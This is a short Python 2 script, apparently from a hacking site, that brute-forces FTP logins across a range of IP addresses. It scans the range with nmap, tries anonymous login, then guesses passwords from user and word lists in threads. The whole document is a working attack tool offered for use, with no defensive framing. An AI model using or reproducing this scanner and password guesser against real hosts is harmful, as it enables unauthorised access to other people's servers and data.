ftp brute forcer in range of ip's

#!usr/bin/python
#Ftp Brute Forcer, searches ip_range for hosts using ftp.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, ftplib, re
from ftplib import FTP
from copy import copy

if len(sys.argv) !=4:
    print "Usage: ./ftpbrute.py <ip_range> <userlist> <wordlist>"
    sys.exit(1)

try:
      users = open(sys.argv[2], "r").readlines()
except(IOError):
      print "Error: Check your userlist path\n"
      sys.exit(1)
 
try:
      words = open(sys.argv[3], "r").readlines()
except(IOError):
      print "Error: Check your wordlist path\n"
      sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com ftpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)

wordlist = copy(words)

def scan():

    iprange = sys.argv[1]
    ip_list = []
   
    nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 21 | grep open -B 3')[1]).readlines()
   
    for tmp in nmap:
        ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
        if ipaddr:
                ip_list.append(ipaddr[0])
    return ip_list

def reloader():
    for word in wordlist:
        words.append(word)

def getword():
    lock = threading.Lock()
    lock.acquire()
    if len(words) != 0:
        value = random.sample(words,  1)
        words.remove(value[0])
       
    else:
        reloader()
        value = random.sample(words,  1)
       
    lock.release()
    return value[0][:-1]
       
class Workhorse(threading.Thread):
   
    def run(self):
        value = getword()
        try:
            print "-"*12
            print "User:",user[:-1],"Password:",value
            ftp = FTP(ip)
            ftp.login(user[:-1], value)
            ftp.retrlines('LIST')
            print "\t\nLogin successful:",user, value
            ftp.quit()
            work.join()
            sys.exit(2)
        except (ftplib.all_errors), msg:
            #print "An error occurred:", msg
            pass

ip_list = scan()
print "[+] Hosts Loaded:",len(ip_list),"\n"
for ip in ip_list:
    print "\n\tAttempting BruteForce:",ip,"\n"
    try:
        f = FTP(ip)
        print "[+] Response:",f.getwelcome()
    except (ftplib.all_errors):
        pass
    try:
        print "\n[+] Checking for anonymous login\n"
        ftp = FTP(ip)
        ftp.login()
        ftp.retrlines('LIST')
        print "\t\nAnonymous login successful!!!\n"
        ftp.quit()
    except (ftplib.all_errors):
        print "\tAnonymous login unsuccessful\n"
    for user in users:
        for i in range(len(words)):
            if i == 0: reloader()
            work = Workhorse()
            work.start()
            time.sleep(1)